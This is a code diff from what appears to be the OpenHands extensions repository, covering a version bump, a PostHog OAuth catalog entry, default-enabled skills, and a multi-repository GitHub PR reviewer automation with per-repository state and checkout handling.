| import entry69 from "./catalog/paypal.json" with { type: "json" }; | ||
| import entry70 from "./catalog/playwright.json" with { type: "json" }; | ||
| import entry71 from "./catalog/redis.json" with { type: "json" }; | ||
| import entry72 from "./catalog/resend.json" with { type: "json" }; | ||
| import entry73 from "./catalog/sequential-thinking.json" with { type: "json" }; | ||
| import entry74 from "./catalog/superhuman-mail.json" with { type: "json" }; | ||
| import entry75 from "./catalog/time.json" with { type: "json" }; | ||
@@ -158,2 +159,3 @@ export const INTEGRATION_CATALOG_ENTRIES = [ | ||
| entry74, | ||
| entry75, | ||
| ]; |
@@ -11,3 +11,3 @@ { | ||
| "docsUrl": "https://posthog.com/docs/model-context-protocol", | ||
| "notes": "Relevant for product analytics and experimentation workflows.", | ||
| "notes": "Uses PostHog's official hosted MCP server. OAuth is preferred; the bearer-token option remains for clients or deployments that require a personal API key. The OAuth URL defaults to read-only mode; remove readonly=true only when write access has been approved.", | ||
| "popularityRank": 37, | ||
@@ -22,5 +22,41 @@ "iconBg": "#1D4AFF", | ||
| ], | ||
| "installHint": "Authenticate with a PostHog personal API key (PostHog → User settings → API keys, MCP Server preset) — sent as a Bearer token.", | ||
| "installHint": "Prefer OAuth. The default OAuth connection uses read-only MCP mode; edit the URL or use the bearer-key fallback only when a workflow needs approved write access. For API keys, create a PostHog personal API key with the MCP Server preset.", | ||
| "connectionOptions": [ | ||
| { | ||
| "id": "oauth", | ||
| "provider": "mcp", | ||
| "auth": { | ||
| "strategy": "oauth2", | ||
| "oauth": { | ||
| "authorizationUrl": "https://oauth.posthog.com/oauth/authorize/", | ||
| "tokenUrl": "https://oauth.posthog.com/oauth/token/", | ||
| "registrationUrl": "https://oauth.posthog.com/oauth/register/", | ||
| "scopes": [ | ||
| "openid", | ||
| "profile", | ||
| "email", | ||
| "organization:read", | ||
| "project:read", | ||
| "dashboard:read", | ||
| "insight:read", | ||
| "query:read", | ||
| "event_definition:read" | ||
| ], | ||
| "pkce": true, | ||
| "clientAuthentication": "none", | ||
| "additionalAuthorizationParams": { | ||
| "resource": "https://mcp.posthog.com/mcp" | ||
| }, | ||
| "additionalTokenParams": { | ||
| "resource": "https://mcp.posthog.com/mcp" | ||
| } | ||
| } | ||
| }, | ||
| "transport": { | ||
| "kind": "shttp", | ||
| "url": "https://mcp.posthog.com/mcp?readonly=true", | ||
| "urlEditable": true | ||
| } | ||
| }, | ||
| { | ||
| "id": "api-key", | ||
@@ -36,3 +72,5 @@ "provider": "mcp", | ||
| "credentialPlaceholder": "Paste your PostHog personal API key", | ||
| "credentialHelp": "Create one under PostHog → User settings → API keys (MCP Server preset). Sent as Authorization: Bearer <token>." | ||
| "credentialHelp": "Create one under PostHog > User settings > API keys using the MCP Server preset. Sent as Authorization: Bearer <token>.", | ||
| "credentialSecretName": "POSTHOG_PERSONAL_API_KEY", | ||
| "saveCredentialAsSecretByDefault": true | ||
| } | ||
@@ -39,0 +77,0 @@ } |
@@ -32,2 +32,3 @@ { | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -45,2 +46,3 @@ "skill", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -58,2 +60,3 @@ "memory", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -86,2 +89,3 @@ "agent", | ||
| "category": "automations", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -100,2 +104,3 @@ "automation", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -114,2 +119,3 @@ "agent-canvas", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -191,2 +197,3 @@ "sdk", | ||
| "category": "code-quality", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -242,2 +249,3 @@ "code-review", | ||
| "category": "environment", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -279,2 +287,3 @@ "docker", | ||
| "category": "code-hosting", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -456,2 +465,3 @@ "github", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -547,2 +557,3 @@ "openhands", | ||
| "category": "agent-authoring", | ||
| "defaultEnabled": true, | ||
| "keywords": [ | ||
@@ -549,0 +560,0 @@ "skill", |
+1
-1
| { | ||
| "name": "@openhands/extensions", | ||
| "version": "0.16.0", | ||
| "version": "0.17.0", | ||
| "description": "Public OpenHands extension catalogs for skills, plugins, integrations, and automation templates.", | ||
@@ -5,0 +5,0 @@ "license": "MIT", |
@@ -163,3 +163,3 @@ --- | ||
| timeout "${TIMEOUT_SECONDS}" \ | ||
| uv run --no-project --with openhands-sdk --with openhands-tools --with 'lmnr<0.7.53' \ | ||
| uv run --no-project --with openhands-sdk --with openhands-tools --with lmnr \ | ||
| python ../extensions/plugins/qa-changes/scripts/agent_script.py | ||
@@ -166,0 +166,0 @@ |
+1
-1
| [project] | ||
| name = "openhands-extensions" | ||
| version = "0.16.0" | ||
| version = "0.17.0" | ||
| description = "OpenHands extensions, plugins, and skills (Python bindings for the integration catalog)" | ||
@@ -5,0 +5,0 @@ requires-python = ">=3.12" |
@@ -21,3 +21,3 @@ """Package version, derived from installed package metadata. | ||
| #: the annotation must stay on the assignment; on its own line it is a no-op. | ||
| _FALLBACK_VERSION = "0.16.0" # x-release-please-version | ||
| _FALLBACK_VERSION = "0.17.0" # x-release-please-version | ||
@@ -24,0 +24,0 @@ try: |
@@ -7,2 +7,3 @@ import { readdir, readFile, writeFile } from "node:fs/promises"; | ||
| const outputPath = path.join(root, "automations", "catalog-index.js"); | ||
| const bundleOutputPath = path.join(root, "automations", "bundle-index.js"); | ||
@@ -41,2 +42,21 @@ const directories = (await readdir(catalogDir, { withFileTypes: true })) | ||
| // A bundle entry names its files by repository-relative path, so the one copy | ||
| // of a script shipped by both a skill and the catalog stays in one place. The | ||
| // package cannot ship a path, though - a browser host has no repository - so | ||
| // the contents are inlined here at build time. | ||
| const bundles = {}; | ||
| for (const { entry } of automations) { | ||
| const files = entry.setup?.bundle?.files; | ||
| if (!files) continue; | ||
| bundles[entry.id] = {}; | ||
| for (const [packedPath, source] of Object.entries(files).sort()) { | ||
| if (!/^(skills|automations)\//.test(source) || source.includes("..")) { | ||
| throw new Error( | ||
| `${entry.id}: bundle file "${packedPath}" names ${source}, which is outside skills/ or automations/`, | ||
| ); | ||
| } | ||
| bundles[entry.id][packedPath] = await readFile(path.join(root, source), "utf8"); | ||
| } | ||
| } | ||
| const header = `// This file is auto-generated by scripts/build-automation-catalog.mjs. | ||
@@ -54,1 +74,11 @@ // Do not edit it manually. To update it after changing automations/catalog/*/manifest.json, | ||
| await writeFile(outputPath, body); | ||
| const bundleHeader = `// This file is auto-generated by scripts/build-automation-catalog.mjs. | ||
| // Do not edit it manually. It inlines the files each bundle entry ships, read from | ||
| // the repository paths its manifest names. To update it, run: npm run build:automations | ||
| `; | ||
| await writeFile( | ||
| bundleOutputPath, | ||
| `${bundleHeader}export const AUTOMATION_BUNDLE_FILES = ${JSON.stringify(bundles, null, 2)};\n`, | ||
| ); |
@@ -39,4 +39,4 @@ #!/usr/bin/env node | ||
| /** Build a `skill directory name -> {category, file}` map from every manifest. */ | ||
| export function buildCategoryMap(marketplacesDir) { | ||
| /** Build a `skill directory name -> {category, defaultEnabled, file}` map from every manifest. */ | ||
| export function buildEntryMap(marketplacesDir) { | ||
| const map = new Map(); | ||
@@ -60,2 +60,10 @@ | ||
| if ("defaultEnabled" in entry && typeof entry.defaultEnabled !== "boolean") { | ||
| throw new Error( | ||
| `${filename}: skill "${name}" has defaultEnabled ${JSON.stringify(entry.defaultEnabled)}, expected a boolean`, | ||
| ); | ||
| } | ||
| const defaultEnabled = entry.defaultEnabled === true; | ||
| const existing = map.get(name); | ||
@@ -67,4 +75,9 @@ if (existing && existing.category !== category) { | ||
| } | ||
| if (existing && existing.defaultEnabled !== defaultEnabled) { | ||
| throw new Error( | ||
| `Conflicting defaultEnabled for skill "${name}": ${existing.file} says ${existing.defaultEnabled}, ${filename} says ${defaultEnabled}`, | ||
| ); | ||
| } | ||
| map.set(name, { category, file: filename }); | ||
| map.set(name, { category, defaultEnabled, file: filename }); | ||
| } | ||
@@ -120,3 +133,3 @@ } | ||
| const entries = []; | ||
| const categories = buildCategoryMap(marketplacesDir); | ||
| const manifestEntries = buildEntryMap(marketplacesDir); | ||
| const uncategorized = []; | ||
@@ -140,3 +153,3 @@ | ||
| const mapped = categories.get(dir); | ||
| const mapped = manifestEntries.get(dir); | ||
| if (!mapped) uncategorized.push(dir); | ||
@@ -150,2 +163,4 @@ | ||
| category: mapped?.category ?? FALLBACK_CATEGORY, | ||
| // Only when true, so off-by-default has one shape. | ||
| ...(mapped?.defaultEnabled ? { defaultEnabled: true } : {}), | ||
| ...(fm.license ? { license: fm.license } : {}), | ||
@@ -169,7 +184,9 @@ ...(fm.compatibility ? { compatibility: fm.compatibility } : {}), | ||
| const entries = buildCatalog(SKILLS_DIR); | ||
| const defaultEnabledNames = entries.filter((e) => e.defaultEnabled).map((e) => e.name); | ||
| const source = `// Auto-generated by scripts/build-skills-catalog.mjs — do not edit. | ||
| // Source of truth: skills/*/SKILL.md and marketplaces/*.json (category) | ||
| // Source of truth: skills/*/SKILL.md and marketplaces/*.json (category, defaultEnabled) | ||
| export const SKILL_CATEGORY_IDS = ${JSON.stringify(SKILL_CATEGORY_IDS)}; | ||
| export const SKILLS_CATALOG = ${JSON.stringify(entries, null, 2)}; | ||
| export const DEFAULT_ENABLED_SKILL_NAMES = ${JSON.stringify(defaultEnabledNames)}; | ||
| export default SKILLS_CATALOG; | ||
@@ -179,3 +196,3 @@ `; | ||
| writeFileSync(OUTPUT, source); | ||
| console.log(`Generated ${OUTPUT} with ${entries.length} skills`); | ||
| console.log(`Generated ${OUTPUT} with ${entries.length} skills (${defaultEnabledNames.length} default-enabled)`); | ||
| } |
| --- | ||
| name: add-skill | ||
| description: Add an external skill from a GitHub repository to the current workspace. Use when users want to import, install, or add a skill from a GitHub URL (e.g., `/add-skill https://github.com/OpenHands/extensions/tree/main/skills/codereview` or "add the codereview skill from https://github.com/OpenHands/extensions/"). Handles fetching the skill files and placing them in .agents/skills/. | ||
| description: Import an existing skill from a GitHub repository URL into the current workspace. Use only when the user provides or references a GitHub URL/repo to fetch from (e.g., `/add-skill https://github.com/OpenHands/extensions/tree/main/skills/codereview` or "add the codereview skill from https://github.com/OpenHands/extensions/"). Handles fetching the skill files and placing them in .agents/skills/. This does not author new skills — to create a new skill from scratch (no source URL), use the skill-creator skill instead. | ||
| --- | ||
@@ -5,0 +5,0 @@ |
| --- | ||
| # auto-generated by sync_extensions.py | ||
| description: Create an automation that reviews GitHub pull requests when a configurable trigger label is applied. Polls GitHub deterministically, starts one OpenHands review conversation per label event, inspects full repository and PR context, and posts the final review comment back to GitHub. | ||
| description: Create an automation that reviews GitHub pull requests when a configurable trigger label is applied. Polls one or more repositories deterministically, starts one OpenHands review conversation per label event with the pull request's head commit already checked out, and publishes the review to GitHub. | ||
| --- | ||
@@ -5,0 +5,0 @@ |
@@ -15,7 +15,11 @@ # GitHub PR Reviewer | ||
| - Reviews PRs on demand by watching for a GitHub label event | ||
| - Watches several repositories from a single automation, each with its own state | ||
| - Processes each label application exactly once, with persistent state | ||
| - Re-review support by removing and re-applying the label | ||
| - Suppresses stale reviews when the PR head commit changes mid-review | ||
| - Uses a real cloned checkout and full PR context instead of only a truncated diff | ||
| - Posts acknowledgement and final review comments with AI disclosure | ||
| - Hands the agent the reviewed commit already checked out, and removes that | ||
| checkout when the review ends, so nothing accumulates between runs | ||
| - Publishes a real pull request review, with inline comments where a finding | ||
| maps to a changed line, and verifies on GitHub that it landed | ||
| - Posts acknowledgement comments with AI disclosure | ||
| - Configurable review tone and polling schedule | ||
@@ -26,4 +30,6 @@ | ||
| Set `GITHUB_PERSONAL_ACCESS_TOKEN` in OpenHands Settings -> Secrets. The token | ||
| must be able to read the repository, read pull requests, read issue events, and | ||
| write issue comments. | ||
| must be able to read the repositories and their contents, read issue events, | ||
| write issue comments, and **write pull request reviews** — the review is | ||
| published through the pull request reviews API, so read-only pull request access | ||
| is not enough. | ||
@@ -34,4 +40,4 @@ ## Quick Start | ||
| > "Set up a PR review automation for my `myorg/backend` repo using the | ||
| > `openhands-review` label and concise reviews." | ||
| > "Set up a PR review automation for my `myorg/backend` and `myorg/frontend` | ||
| > repos using the `openhands-review` label and concise reviews." | ||
@@ -38,0 +44,0 @@ After setup, apply the configured label to a pull request to queue a review. To |
| # State Schema | ||
| The automation maintains a JSON state document that persists across polling runs. | ||
| It is the source of truth for which trigger-label events have queued reviews | ||
| and which conversations are still active. | ||
| The automation maintains a JSON state document **per repository**, persisted | ||
| across polling runs. It is the source of truth for which trigger-label events | ||
| have queued reviews, which conversations are still active, and which repository | ||
| checkouts are still on disk. | ||
| Each repository in `REPOS` gets its own document, so pull-request numbers from | ||
| different repositories never share a bucket. | ||
| --- | ||
@@ -12,10 +16,12 @@ | ||
| **Primary (cloud):** The state is stored in the automation service's built-in KV | ||
| store under the key `"state"`. The KV store is available when `AUTOMATION_KV_TOKEN` | ||
| is injected into the run environment. Each automation has its own isolated namespace. | ||
| store under the key `state:{owner}__{repo}` — for example | ||
| `state:OpenHands__extensions`. The KV store is available when | ||
| `AUTOMATION_KV_TOKEN` is injected into the run environment. Each automation has | ||
| its own isolated namespace. | ||
| **Fallback (local/dev):** When the KV store is not available, the state is written | ||
| to a local JSON file at: | ||
| **Fallback (local/dev):** When the KV store is not available, the state is | ||
| written to a local JSON file at: | ||
| ``` | ||
| {WORKSPACE_BASE_ROOT}/automation-state/github_pr_reviewer_label_event_{automation_id}.json | ||
| {WORKSPACE_BASE_ROOT}/automation-state/github_pr_reviewer_label_event_{automation_id}_{owner}__{repo}.json | ||
| ``` | ||
@@ -29,3 +35,3 @@ | ||
| ``` | ||
| ~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_abc12345-....json | ||
| ~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_abc12345-..._myorg__backend.json | ||
| ``` | ||
@@ -36,2 +42,11 @@ | ||
| ### Upgrading from a single-repository automation | ||
| Earlier versions stored one document under the bare key `state` (or a filename | ||
| without the repository suffix). On the first poll after an upgrade, that document | ||
| is adopted for the repository named in its own `repo` field, and written back | ||
| under the new per-repository key. Reviews already handled are therefore not | ||
| re-run. A repository that does not match the legacy document simply starts with | ||
| empty state. | ||
| --- | ||
@@ -43,3 +58,3 @@ | ||
| { | ||
| "version": 2, | ||
| "version": 3, | ||
| "repo": "owner/repo", | ||
@@ -72,2 +87,3 @@ "trigger_label": "openhands-review", | ||
| "conversation_id": "550e8400-e29b-41d4-a716-446655440000", | ||
| "workspace_dir": "/workspace/repositories/owner__repo/pr-42-0123456789ab", | ||
| "last_activity": 1717200000.0 | ||
@@ -81,9 +97,25 @@ } | ||
| |---|---| | ||
| | `starting` | The label event is claimed and the checkout/conversation is being set up. Written and saved before that work begins, so a poll overlapping the claiming one skips this event instead of reviewing the same commit twice. Becomes `active` once the conversation exists, or the record is deleted if setup fails, so the next poll retries. A `starting` record older than `STALLED_CLAIM_SECONDS` (15 min) belongs to a poll that died mid-setup and is released. | | ||
| | `active` | Review conversation is running or waiting to be collected | | ||
| | `closed` | Final result was posted, or the PR closed before collection | | ||
| | `closed` | Final result was handled, or the PR closed before collection | | ||
| | `stale` | PR head SHA changed before the review completed, so the result was suppressed | | ||
| | `expired` | Conversation never reached a terminal status within `MAX_ACTIVE_AGE` (2 h) and was abandoned | | ||
| When a review becomes stale, `stale_reason` records the old and new head SHAs. | ||
| When a review closes after posting, `completed_at` records the completion time. | ||
| When a review expires, `expired_after` records how many seconds it had been | ||
| waiting. | ||
| ### `workspace_dir` | ||
| The directory holding the reviewed commit, created by the script before the | ||
| conversation starts and used as that conversation's working directory. It is | ||
| removed once the conversation is confirmed stopped, and the key is deleted from | ||
| the record at the same time. | ||
| The key therefore doubles as the "still on disk" marker: a record carrying a | ||
| `workspace_dir` after it has left `active` is retried on every later poll until | ||
| the removal succeeds. A checkout is never removed while its conversation is | ||
| still running, and never outside `{WORKSPACE_BASE}/repositories/`. | ||
| --- | ||
@@ -117,10 +149,25 @@ | ||
| v | ||
| [active] - conversation created, acknowledgement comment posted | ||
| [starting] - label event claimed and saved, before any slow work | ||
| | | ||
| +-- PR closes/merges before collection --> [closed] without posting | ||
| +-- setup fails ----------------------------> record deleted, retried next poll | ||
| | | ||
| +-- PR head SHA changes before collection --> [stale] without posting | ||
| +-- claiming poll dies mid-setup -----------> released after 15 min | ||
| | | ||
| v | ||
| [closed] - final review comment posted | ||
| checkout prepared at head SHA, conversation created | ||
| | | ||
| v | ||
| [active] - acknowledgement comment posted | ||
| | | ||
| +-- PR closes/merges before collection ------> [closed] without posting | ||
| | | ||
| +-- PR head SHA changes before collection ---> [stale] without posting | ||
| | | ||
| +-- no terminal status within 2 h -----------> [expired] without posting | ||
| | | ||
| v | ||
| [closed] - review confirmed on GitHub, or the agent's text posted as a comment | ||
| | | ||
| v | ||
| checkout removed once the conversation has stopped | ||
| ``` | ||
@@ -133,7 +180,7 @@ | ||
| To force the automation to reconsider previous label events, delete the state | ||
| from the KV store (cloud) or the fallback file (local). | ||
| for that repository from the KV store (cloud) or the fallback file (local). | ||
| **Cloud (KV store):** | ||
| ```bash | ||
| curl -X DELETE "${OPENHANDS_HOST}/api/automation/v1/kv/state" \ | ||
| curl -X DELETE "${OPENHANDS_HOST}/api/automation/v1/kv/state:owner__repo" \ | ||
| -H "Authorization: Bearer ${AUTOMATION_KV_TOKEN}" | ||
@@ -144,6 +191,9 @@ ``` | ||
| ```bash | ||
| rm ~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_<id>.json | ||
| rm ~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_<id>_owner__repo.json | ||
| ``` | ||
| Resetting state also forgets which checkouts are outstanding, so remove any | ||
| leftover directories under `{WORKSPACE_BASE}/repositories/owner__repo/` yourself. | ||
| Usually, prefer removing and re-applying the trigger label. That preserves | ||
| history while creating a new review request. |
| """ | ||
| GitHub PR Reviewer - OpenHands Automation Script | ||
| Cron-polls a GitHub repository for open pull requests carrying the configured | ||
| trigger label. A review is queued only when the latest matching GitHub `labeled` | ||
| event has not already been processed by this automation. | ||
| Cron-polls one or more GitHub repositories for open pull requests carrying the | ||
| configured trigger label. A review is queued only when the latest matching | ||
| GitHub `labeled` event has not already been processed by this automation. | ||
| Each repository is polled independently and keeps its own state document, so | ||
| pull-request numbers never collide across repositories. | ||
| The script owns the repository checkout: it downloads the pull request's head | ||
| commit as a tarball, hands the agent that directory as its workspace, and | ||
| removes it once the review has finished. The agent never clones, checks out, or | ||
| deletes anything. | ||
| """ | ||
| import io | ||
| import json | ||
| import os | ||
| import re | ||
| import shutil | ||
| import sys | ||
| import tarfile | ||
| import time | ||
| import urllib.error | ||
| import urllib.request | ||
| from pathlib import Path | ||
| from collections.abc import Callable | ||
| from pathlib import Path, PurePosixPath | ||
| from urllib.parse import urlencode | ||
| REPO = "owner/repo" | ||
| # Configuration. Two setup paths write it, and both end up here: | ||
| # | ||
| # - the agent-driven path (SKILL.md) substitutes these constants directly | ||
| # into a copy of this file before packaging it; | ||
| # - the catalog path packs an unmodified copy and ships a rendered | ||
| # config.json beside it, which is loaded over these defaults below. | ||
| # | ||
| # A declarative host cannot rewrite Python - the catalog schema admits data, | ||
| # not code - so the constants stay as the defaults and config.json is the | ||
| # override, rather than one path being expressed in terms of the other. | ||
| REPOS = ["owner/repo"] | ||
| TRIGGER_LABEL = "openhands-review" | ||
@@ -24,6 +47,112 @@ REVIEW_TONE = "thorough" | ||
| CONFIG_FILENAME = "config.json" | ||
| # Config keys, paired with the type each must have. A wrong type is a hard | ||
| # error at import: the alternative is polling the string "owner/repo" one | ||
| # character at a time, or matching a label that is silently a list. | ||
| _CONFIG_TYPES: dict[str, type] = { | ||
| "repos": list, | ||
| "trigger_label": str, | ||
| "review_tone": str, | ||
| "review_style_instructions": str, | ||
| "openhands_url": str, | ||
| } | ||
| def load_config(directory: Path | None = None) -> dict: | ||
| """Return the rendered config shipped beside this script, or {} if absent. | ||
| Only the keys above are read; anything else in the file is ignored, so a | ||
| host may ship provenance there without this script caring. | ||
| """ | ||
| path = (directory or Path(__file__).resolve().parent) / CONFIG_FILENAME | ||
| if not path.is_file(): | ||
| return {} | ||
| try: | ||
| raw = json.loads(path.read_text()) | ||
| except json.JSONDecodeError as e: | ||
| raise SystemExit(f"{CONFIG_FILENAME} is not valid JSON: {e}") from e | ||
| if not isinstance(raw, dict): | ||
| raise SystemExit(f"{CONFIG_FILENAME} must contain a JSON object") | ||
| config = {} | ||
| for key, expected in _CONFIG_TYPES.items(): | ||
| if key not in raw: | ||
| continue | ||
| value = raw[key] | ||
| if not isinstance(value, expected): | ||
| raise SystemExit( | ||
| f"{CONFIG_FILENAME}: {key} must be {expected.__name__}, " | ||
| f"got {type(value).__name__}" | ||
| ) | ||
| if key == "repos" and not ( | ||
| value and all(isinstance(item, str) and item for item in value) | ||
| ): | ||
| raise SystemExit( | ||
| f'{CONFIG_FILENAME}: repos must be a non-empty list of "owner/repo" strings' | ||
| ) | ||
| config[key] = value | ||
| return config | ||
| # owner/repo, which is what every GitHub API path in this script is built from. | ||
| _REPO_NAME_RE = re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$") | ||
| def normalize_repo(value: str) -> str: | ||
| """Return ``owner/repo`` for the ways a repository gets written down. | ||
| A clone URL is what a repository page offers to copy, so it is what ends up | ||
| pasted into a setup form. Left alone it becomes | ||
| ``/repos/https://github.com/owner/repo``, which GitHub answers with a 404 - | ||
| indistinguishable, from here, from a repository the token cannot see. | ||
| Raises ValueError for anything that is not a repository name, so the run | ||
| says which value it could not read instead of blaming the token. | ||
| """ | ||
| repo = value.strip() | ||
| if repo.startswith("git@"): | ||
| # git@github.com:owner/repo.git | ||
| repo = repo.partition(":")[2] | ||
| elif "://" in repo: | ||
| # https://github.com/owner/repo, and anything else with a host | ||
| repo = repo.split("://", 1)[1].partition("/")[2] | ||
| repo = repo.strip("/") | ||
| if repo.endswith(".git"): | ||
| repo = repo[: -len(".git")] | ||
| if not _REPO_NAME_RE.match(repo): | ||
| raise ValueError( | ||
| f"{value!r} is not a repository. Use owner/repo, for example " | ||
| "OpenHands/automation." | ||
| ) | ||
| return repo | ||
| _CONFIG = load_config() | ||
| REPOS = _CONFIG.get("repos", REPOS) | ||
| TRIGGER_LABEL = _CONFIG.get("trigger_label", TRIGGER_LABEL) | ||
| REVIEW_TONE = _CONFIG.get("review_tone", REVIEW_TONE) | ||
| REVIEW_STYLE_INSTRUCTIONS = _CONFIG.get("review_style_instructions", REVIEW_STYLE_INSTRUCTIONS) | ||
| DEFAULT_OPENHANDS_URL = _CONFIG.get("openhands_url", DEFAULT_OPENHANDS_URL) | ||
| DONE_DEBOUNCE = 15 | ||
| TERMINAL_STATUSES = {"idle", "finished", "error", "stuck"} | ||
| # A conversation that never reaches a terminal status would hold its checkout | ||
| # forever. After this long the review is abandoned so the disk can be reclaimed. | ||
| MAX_ACTIVE_AGE = 2 * 60 * 60 | ||
| # A label event is claimed in the state document before its review starts, so an | ||
| # overlapping poll skips it. If the claiming poll dies before the conversation | ||
| # exists, the claim is released after this long - comfortably longer than | ||
| # fetching an archive and opening a conversation, short enough that a crash does | ||
| # not park the review until someone notices. | ||
| STALLED_CLAIM_SECONDS = 15 * 60 | ||
| # Login of the token owner, filled in by _verify_token. Reviews are matched | ||
| # against it to answer "did we already publish a review for this commit", which | ||
| # is checked on GitHub rather than trusted from the agent. | ||
| _AUTH_LOGIN = "" | ||
| def _get_env_key() -> str: | ||
@@ -75,5 +204,16 @@ return os.environ.get("SESSION_API_KEY") or os.environ.get("OH_SESSION_API_KEYS_0") or "" | ||
| _KV_BASE = os.environ.get("AUTOMATION_API_URL", "").rstrip("/") | ||
| _STATE_KEY = "state" | ||
| # Single-repository deployments of this script kept their state under a bare | ||
| # "state" key. It is adopted once, on first poll after an upgrade, so the | ||
| # switch to per-repository keys does not re-review every open labelled PR. | ||
| _LEGACY_STATE_KEY = "state" | ||
| def _repo_slug(repo: str) -> str: | ||
| return repo.replace("/", "__") | ||
| def _state_key(repo: str) -> str: | ||
| return f"state:{_repo_slug(repo)}" | ||
| def _kv_available() -> bool: | ||
@@ -111,7 +251,4 @@ return bool(_KV_TOKEN and _KV_BASE) | ||
| def _state_file_path() -> str: | ||
| def _state_dir() -> Path: | ||
| workspace_base = os.environ.get("WORKSPACE_BASE", "") | ||
| event_payload = json.loads(os.environ.get("AUTOMATION_EVENT_PAYLOAD", "{}")) | ||
| automation_id = event_payload.get("automation_id", "default") | ||
| if workspace_base: | ||
@@ -121,12 +258,36 @@ root = Path(workspace_base).resolve().parent.parent | ||
| root = Path.home() / ".openhands" / "workspaces" | ||
| state_dir = root / "automation-state" | ||
| state_dir.mkdir(parents=True, exist_ok=True) | ||
| return str(state_dir / f"github_pr_reviewer_label_event_{automation_id}.json") | ||
| return state_dir | ||
| def _default_state() -> dict: | ||
| def _automation_id() -> str: | ||
| event_payload = json.loads(os.environ.get("AUTOMATION_EVENT_PAYLOAD", "{}")) | ||
| return event_payload.get("automation_id", "default") | ||
| def _state_file_path(repo: str) -> str: | ||
| name = f"github_pr_reviewer_label_event_{_automation_id()}_{_repo_slug(repo)}.json" | ||
| return str(_state_dir() / name) | ||
| def _legacy_state_file_path() -> str: | ||
| return str(_state_dir() / f"github_pr_reviewer_label_event_{_automation_id()}.json") | ||
| def _read_state_file(path: str) -> dict | None: | ||
| if not os.path.exists(path): | ||
| return None | ||
| try: | ||
| with open(path) as f: | ||
| return json.load(f) | ||
| except (json.JSONDecodeError, OSError) as exc: | ||
| print(f" Warning: state file {path} unreadable ({exc}); starting fresh") | ||
| return None | ||
| def _default_state(repo: str) -> dict: | ||
| return { | ||
| "version": 2, | ||
| "repo": REPO, | ||
| "version": 3, | ||
| "repo": repo, | ||
| "trigger_label": TRIGGER_LABEL, | ||
@@ -138,25 +299,31 @@ "reviews": {}, | ||
| def load_state() -> dict: | ||
| def load_state(repo: str) -> dict: | ||
| """Load this repository's state, adopting a pre-multi-repo document once.""" | ||
| if _kv_available(): | ||
| data = _kv_get(_STATE_KEY) | ||
| data = _kv_get(_state_key(repo)) | ||
| if data is not None: | ||
| print("State loaded from KV store") | ||
| print(f" State loaded from KV store ({_state_key(repo)})") | ||
| return data | ||
| return _default_state() | ||
| path = _state_file_path() | ||
| if os.path.exists(path): | ||
| try: | ||
| with open(path) as f: | ||
| return json.load(f) | ||
| except (json.JSONDecodeError, OSError) as exc: | ||
| print(f"Warning: state file {path} unreadable ({exc}); starting fresh") | ||
| return _default_state() | ||
| legacy = _kv_get(_LEGACY_STATE_KEY) | ||
| if legacy is not None and legacy.get("repo") == repo: | ||
| print(f" Adopted legacy KV state for {repo}") | ||
| return legacy | ||
| return _default_state(repo) | ||
| data = _read_state_file(_state_file_path(repo)) | ||
| if data is not None: | ||
| return data | ||
| legacy = _read_state_file(_legacy_state_file_path()) | ||
| if legacy is not None and legacy.get("repo") == repo: | ||
| print(f" Adopted legacy state file for {repo}") | ||
| return legacy | ||
| return _default_state(repo) | ||
| def save_state(state: dict) -> None: | ||
| def save_state(repo: str, state: dict) -> None: | ||
| if _kv_available(): | ||
| _kv_set(_STATE_KEY, state) | ||
| print("State saved to KV store") | ||
| _kv_set(_state_key(repo), state) | ||
| print(f" State saved to KV store ({_state_key(repo)})") | ||
| return | ||
| path = _state_file_path() | ||
| path = _state_file_path(repo) | ||
| tmp_path = f"{path}.tmp" | ||
@@ -166,3 +333,3 @@ with open(tmp_path, "w") as f: | ||
| os.replace(tmp_path, path) | ||
| print(f"State saved to {path}") | ||
| print(f" State saved to {path}") | ||
@@ -224,3 +391,5 @@ | ||
| def _verify_token_and_repo(token: str, repo: str) -> None: | ||
| def _verify_token(token: str) -> None: | ||
| """Check the token once per run and remember who it belongs to.""" | ||
| global _AUTH_LOGIN | ||
| try: | ||
@@ -233,4 +402,7 @@ user_data, _ = _github_request(token, "GET", "/user") | ||
| print(f"Authenticated as GitHub user: {user_data.get('login', '?')}") | ||
| _AUTH_LOGIN = user_data.get("login", "") | ||
| print(f"Authenticated as GitHub user: {_AUTH_LOGIN or '?'}") | ||
| def _verify_repo(token: str, repo: str) -> None: | ||
| try: | ||
@@ -286,2 +458,152 @@ _github_request(token, "GET", f"/repos/{repo}") | ||
| def _matching_review_exists(token: str, repo: str, pr_number: int, head_sha: str) -> bool: | ||
| """Has this token's user already published a review for this exact commit? | ||
| The agent is asked to report success, but a report is not evidence: reviews | ||
| have been reported as posted when none existed. GitHub is the source of | ||
| truth for whether the review landed. | ||
| """ | ||
| if not head_sha or not _AUTH_LOGIN: | ||
| return False | ||
| try: | ||
| reviews = _github_paginate(token, f"/repos/{repo}/pulls/{pr_number}/reviews") | ||
| except Exception as exc: | ||
| print(f" Warning: could not list reviews for PR #{pr_number}: {exc}") | ||
| return False | ||
| for review in reviews: | ||
| if (review.get("user") or {}).get("login", "").lower() != _AUTH_LOGIN.lower(): | ||
| continue | ||
| if review.get("commit_id") == head_sha: | ||
| return True | ||
| return False | ||
| # ── Repository checkout ─────────────────────────────────────────────────────── | ||
| def _checkouts_root() -> Path: | ||
| return Path(os.environ.get("WORKSPACE_BASE", "/workspace")).resolve() / "repositories" | ||
| def _checkout_path(repo: str, pr_number: int, head_sha: str) -> Path: | ||
